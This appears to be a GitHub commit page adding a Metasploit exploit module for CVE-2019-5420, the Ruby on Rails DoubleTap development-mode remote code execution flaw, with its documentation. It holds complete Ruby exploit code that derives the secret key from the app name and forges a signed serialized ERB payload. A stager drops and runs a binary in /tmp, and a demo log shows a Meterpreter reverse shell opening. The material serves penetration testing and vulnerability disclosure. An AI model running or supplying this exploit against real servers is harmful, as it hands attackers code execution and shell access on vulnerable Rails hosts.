Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #11779, add Rails Doubletap Dev mode RCE
- Loading branch information
Showing
2 changed files
with
330 additions
and
0 deletions.
There are no files selected for viewing
105 changes: 105 additions & 0 deletions
105
documentation/modules/exploit/multi/http/rails_double_tap.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,105 @@ | ||
# Ruby on Rails DoubleTap Development Mode secret_key_base Vulnerability | ||
|
||
## Background | ||
|
||
Ruby on Rails is a server-side web application framework written in Ruby. It is a model-view-controller (MVC) architecture, providing default structures for a database, a web service, and web pages. It is also a popular choice of framework among well known services and products such as Github, Bloomberg, Soundcloud, Groupon, Twitch.tv, and of course, Rapid7s Metasploit. | ||
|
||
In development mode, Ruby on Rails versions including 5.2.2 and prior are vulnerable to a remote code execution vulnerability due to a predictable secret_key_base based on the name of the Rails application, and use it to create a signed serialized payload, and gain remote code execution. | ||
|
||
## Vulnerable Setup | ||
|
||
In order to set up a vulnerable box for testing, do this on a Linux machine (such as Ubuntu), and assuming you already have rvm installed: | ||
|
||
``` | ||
$ rvm gemset create test | ||
$ rvm gemset use test | ||
$ gem install rails '5.2.1' | ||
$ rails new demo | ||
``` | ||
|
||
Next, `cd` to demo, and then modify the Gemfile like this: | ||
|
||
``` | ||
$ echo "gem 'rails', '5.2.1'" >> Gemfile | ||
$ echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile | ||
$ echo "source 'https://rubygems.org'" >> Gemfile | ||
$ bundle | ||
``` | ||
|
||
Next, add a new controller: | ||
|
||
``` | ||
rails generate controller metasploit | ||
``` | ||
|
||
And add the index method for that controller (under app/controllers/metasploit_controllers.rb): | ||
|
||
``` | ||
class MetasploitController < ApplicationController | ||
def index | ||
render file: "#{Rails.root}/test.html" | ||
end | ||
end | ||
``` | ||
|
||
In the root directory, add a new test.html: | ||
|
||
``` | ||
echo Hello World > test.html | ||
``` | ||
|
||
Also, add that new route in config/routes.rb: | ||
|
||
``` | ||
Rails.application.routes.draw do | ||
resources :metasploit | ||
end | ||
``` | ||
|
||
And finally, start the application (since no mode is specified, by default, it is development mode): | ||
|
||
``` | ||
rails s -b 0.0.0.0 | ||
``` | ||
|
||
## Demonstration | ||
|
||
### Server | ||
|
||
``` | ||
$ rails server -b 0.0.0.0 | ||
=> Booting Puma | ||
=> Rails 5.2.1 application starting in development | ||
=> Run `rails server -h` for more startup options | ||
Puma starting in single mode... | ||
* Version 3.12.1 (ruby 2.6.0-p0), codename: Llamas in Pajamas | ||
* Min threads: 5, max threads: 5 | ||
* Environment: development | ||
* Listening on tcp://0.0.0.0:3000 | ||
Use Ctrl-C to stop | ||
``` | ||
|
||
### Metasploit | ||
|
||
``` | ||
msf5 exploit(multi/http/rails_double_tap) > check | ||
[+] 172.16.249.141:3000 - The target is vulnerable. | ||
msf5 exploit(multi/http/rails_double_tap) > exploit | ||
[*] Started reverse TCP handler on 172.16.249.1:4444 | ||
[*] Attempting to retrieve the application name... | ||
[*] The application name is: Demo | ||
[*] Stager ready: 433 bytes | ||
[*] Sending serialized payload to target (1250 bytes) | ||
[*] Sending stage (985320 bytes) to 172.16.249.141 | ||
[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.141:62572) at 2019-04-25 16:29:43 -0500 | ||
[+] Deleted /tmp/LsvSGK.bin | ||
[+] Deleted /tmp/tSJfp.bin | ||
meterpreter > getuid | ||
Server username: uid=1000, gid=1000, euid=1000, egid=1000 | ||
meterpreter > pwd | ||
/home/sinn3r/demo | ||
meterpreter > | ||
``` | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,225 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
include Msf::Auxiliary::Report | ||
|
||
def initialize(info={}) | ||
super(update_info(info, | ||
'Name' => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability', | ||
'Description' => %q{ | ||
This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails | ||
application would use its name as the secret_key_base, and can be easily extracted by | ||
visiting an invalid resource for a path. As a result, this allows a remote user to | ||
create and deliver a signed serialized payload, load it by the application, and gain | ||
remote code execution. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'ooooooo_q', # Reported the vuln on hackerone | ||
'mpgn', # Proof-of-Concept | ||
'sinn3r' # Metasploit module | ||
], | ||
'References' => | ||
[ | ||
[ 'CVE', '2019-5420' ], | ||
[ 'URL', 'https://hackerone.com/reports/473888' ], | ||
[ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ], | ||
[ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ] | ||
], | ||
'Platform' => 'linux', | ||
'Targets' => | ||
[ | ||
[ 'Ruby on Rails 5.2 and prior', { } ] | ||
], | ||
'DefaultOptions' => | ||
{ | ||
'RPORT' => 3000 | ||
}, | ||
'Notes' => | ||
{ | ||
'AKA' => [ 'doubletap' ], | ||
'Stability' => [ CRASH_SAFE ], | ||
'SideEffects' => [ IOC_IN_LOGS ] | ||
}, | ||
'Privileged' => false, | ||
'DisclosureDate' => 'Mar 13 2019', | ||
'DefaultTarget' => 0)) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']), | ||
]) | ||
end | ||
|
||
NO_RAILS_ROOT_MSG = 'No Rails.root info' | ||
|
||
# These mocked classes are borrowed from Rails 5. I had to do this because Metasploit | ||
# still uses Rails 4, and we don't really know when we will be able to upgrade it. | ||
|
||
class Messages | ||
class Metadata | ||
def initialize(message, expires_at = nil, purpose = nil) | ||
@message, @expires_at, @purpose = message, expires_at, purpose | ||
end | ||
|
||
def as_json(options = {}) | ||
{ _rails: { message: @message, exp: @expires_at, pur: @purpose } } | ||
end | ||
|
||
def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil) | ||
if expires_at || expires_in || purpose | ||
ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose) | ||
else | ||
message | ||
end | ||
end | ||
|
||
private | ||
|
||
def self.pick_expiry(expires_at, expires_in) | ||
if expires_at | ||
expires_at.utc.iso8601(3) | ||
elsif expires_in | ||
Time.now.utc.advance(seconds: expires_in).iso8601(3) | ||
end | ||
end | ||
|
||
def self.encode(message) | ||
Rex::Text::encode_base64(message) | ||
end | ||
end | ||
end | ||
|
||
class MessageVerifier | ||
def initialize(secret, options = {}) | ||
raise ArgumentError, 'Secret should not be nil.' unless secret | ||
@secret = secret | ||
@digest = options[:digest] || 'SHA1' | ||
@serializer = options[:serializer] || Marshal | ||
end | ||
|
||
def generate(value, expires_at: nil, expires_in: nil, purpose: nil) | ||
data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose)) | ||
"#{data}--#{generate_digest(data)}" | ||
end | ||
|
||
private | ||
|
||
def generate_digest(data) | ||
require "openssl" unless defined?(OpenSSL) | ||
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) | ||
end | ||
|
||
def encode(message) | ||
Rex::Text::encode_base64(message) | ||
end | ||
end | ||
|
||
def check | ||
check_code = CheckCode::Safe | ||
app_name = get_application_name | ||
check_code = CheckCode::Appears unless app_name.blank? | ||
test_payload = %Q|puts 1| | ||
rails_payload = generate_rails_payload(app_name, test_payload) | ||
result = send_serialized_payload(rails_payload) | ||
check_code = CheckCode::Vulnerable if result | ||
check_code | ||
rescue Msf::Exploit::Failed => e | ||
vprint_error(e.message) | ||
return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG | ||
CheckCode::Unknown | ||
end | ||
|
||
# Returns information about Rails.root if we retrieve an invalid path under rails. | ||
def get_rails_root_info | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'rails', Rex::Text.rand_text_alphanumeric(32)), | ||
}) | ||
|
||
fail_with(Failure::Unknown, 'No response from the server') unless res | ||
html = res.get_html_document | ||
rails_root_node = html.at('//code[contains(text(), "Rails.root:")]') | ||
fail_with(Failure::NotVulnerable, NO_RAILS_ROOT_MSG) unless rails_root_node | ||
root_info_value = rails_root_node.text.scan(/Rails.root: (.+)/).flatten.first | ||
report_note(host: rhost, type: 'rails.root_info', data: root_info_value, update: :unique_data) | ||
root_info_value | ||
end | ||
|
||
# Returns the application name based on Rails.root. It seems in development mode, the | ||
# application name is used as a secret_key_base to encrypt/decrypt data. | ||
def get_application_name | ||
root_info = get_rails_root_info | ||
root_info.split('/').last.capitalize | ||
end | ||
|
||
# Returns the stager code that writes the payload to disk so we can execute it. | ||
def get_stager_code | ||
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin" | ||
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin" | ||
register_file_for_cleanup(b64_fname, bin_fname) | ||
p = Rex::Text.encode_base64(generate_payload_exe) | ||
|
||
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; " | ||
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); " | ||
c << "%x(chmod +x #{bin_fname}); " | ||
c << "%x(#{bin_fname})" | ||
c | ||
end | ||
|
||
# Returns the serialized payload that is embedded with our malicious payload. | ||
def generate_rails_payload(app_name, ruby_payload) | ||
secret_key_base = Digest::MD5.hexdigest("#{app_name}::Application") | ||
keygen = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)) | ||
secret = keygen.generate_key('ActiveStorage') | ||
verifier = MessageVerifier.new(secret) | ||
erb = ERB.allocate | ||
erb.instance_variable_set :@src, ruby_payload | ||
erb.instance_variable_set :@filename, "1" | ||
erb.instance_variable_set :@lineno, 1 | ||
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result) | ||
verifier.generate(dump_target, purpose: :blob_key) | ||
end | ||
|
||
# Sending the serialized payload | ||
# If the payload fails, the server should return 404. If successful, then 200. | ||
def send_serialized_payload(rails_payload) | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => "/rails/active_storage/disk/#{rails_payload}/test", | ||
}) | ||
|
||
if res && res.code != 200 | ||
print_error("It doesn't look like the exploit worked. Server returned: #{res.code}.") | ||
print_error('The expected response should be HTTP 200.') | ||
|
||
# This indicates the server did not accept the payload | ||
return false | ||
end | ||
|
||
# This is used to indicate the server accepted the payload | ||
true | ||
end | ||
|
||
def exploit | ||
print_status("Attempting to retrieve the application name...") | ||
app_name = get_application_name | ||
print_status("The application name is: #{app_name}") | ||
|
||
stager = get_stager_code | ||
print_status("Stager ready: #{stager.length} bytes") | ||
|
||
rails_payload = generate_rails_payload(app_name, stager) | ||
print_status("Sending serialized payload to target (#{rails_payload.length} bytes)") | ||
send_serialized_payload(rails_payload) | ||
end | ||
end |